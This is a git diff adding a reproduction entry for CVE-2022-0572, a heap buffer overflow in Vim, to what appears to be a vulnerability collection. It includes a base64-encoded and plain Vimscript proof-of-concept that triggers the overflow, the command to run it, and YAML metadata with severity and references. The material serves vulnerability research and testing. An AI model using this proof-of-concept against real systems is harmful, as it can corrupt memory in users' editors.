diff --git a/cve/vim/2022/CVE-2022-0572/README.md b/cve/vim/2022/CVE-2022-0572/README.md new file mode 100644 index 0000000000000000000000000000000000000000..bc9ba1f58530ec31ab0a99584cbe7d706fe101a6 --- /dev/null +++ b/cve/vim/2022/CVE-2022-0572/README.md @@ -0,0 +1,9 @@ +### 漏洞复现 +```shell +$ echo -ne "ZnUgUihiLG4pCmxldCBvbGRfdGFic3RvcD0mdGFic3RvcApleGUicmV0ImE6bgppZiBhOm4KZXhl +J3NlIHRhYnN0b3A9Jy5vbGRfdGFic3RvcAplbApjYWwgbCgiIixSKCcnLDQpCmNhbCBsKCIiLFIo +JycsJycpCmVuZGYKY2FsIHNldGxpbmUoMSwiXHQwXHQiKQpzZSB0YWJzdG9wPTUwCmNhbF8oIiIs +UignJywwKQo=" | base64 -d > poc +$ vim -u NONE -i NONE -n -X -Z -e -m -s -S poc -c ":qa!" +``` +![](./png/CVE-2022-0572.png) \ No newline at end of file diff --git a/cve/vim/2022/CVE-2022-0572/png/CVE-2022-0572.png b/cve/vim/2022/CVE-2022-0572/png/CVE-2022-0572.png new file mode 100644 index 0000000000000000000000000000000000000000..45317fde5780e8f6038f3fc9ce00b89f85083da8 Binary files /dev/null and b/cve/vim/2022/CVE-2022-0572/png/CVE-2022-0572.png differ diff --git a/cve/vim/2022/CVE-2022-0572/poc b/cve/vim/2022/CVE-2022-0572/poc new file mode 100644 index 0000000000000000000000000000000000000000..34b2c14d700f0ebc1d0ab013a8845120672ec86b --- /dev/null +++ b/cve/vim/2022/CVE-2022-0572/poc @@ -0,0 +1,12 @@ +fu R(b,n) +let old_tabstop=&tabstop +exe"ret"a:n +if a:n +exe'se tabstop='.old_tabstop +el +cal l("",R('',4) +cal l("",R('','') +endf +cal setline(1,"\t0\t") +se tabstop=50 +cal_("",R('',0) diff --git a/cve/vim/2022/yaml/CVE-2022-0572.yaml b/cve/vim/2022/yaml/CVE-2022-0572.yaml new file mode 100644 index 0000000000000000000000000000000000000000..3c4f1c9ee5a3784b8feb4ba751c8c6184a5d194a --- /dev/null +++ b/cve/vim/2022/yaml/CVE-2022-0572.yaml @@ -0,0 +1,20 @@ +id: CVE-2022-0572 +source: https://huntr.dev/bounties/bf3e0643-03e9-4436-a1c8-74e7111c32bf/ +info: + name: Vim是一款基于UNIX平台的编辑器。 + severity: high + description: | + vim 存在安全漏洞,该漏洞源于在8.2之前的GitHub库vim中基于堆的缓冲区溢出。 + scope-of-influence: + vim < 8.2 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2022-0572 + - https://github.com/vim/vim/commit/6e28703a8e41f775f64e442c5d11ce1ff599aa3f + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2022-0572 + cwe-id: CWE-787,CWE-122 + cnvd-id: None + kve-id: None + tags: 缓冲区错误,cve2022 \ No newline at end of file diff --git a/vulnerability_list.yaml b/vulnerability_list.yaml index 67c8c5a6c9189611484318674eb9dfb4d40d3b0e..ccae2467aa9c64a76a5bd51a97b755d950d836ab 100644 --- a/vulnerability_list.yaml +++ b/vulnerability_list.yaml @@ -24,6 +24,7 @@ cve: vim: - CVE-2022-0359 - CVE-2022-0417 + - CVE-2022-0572 - CVE-2022-0629 - CVE-2022-0729 cnvd: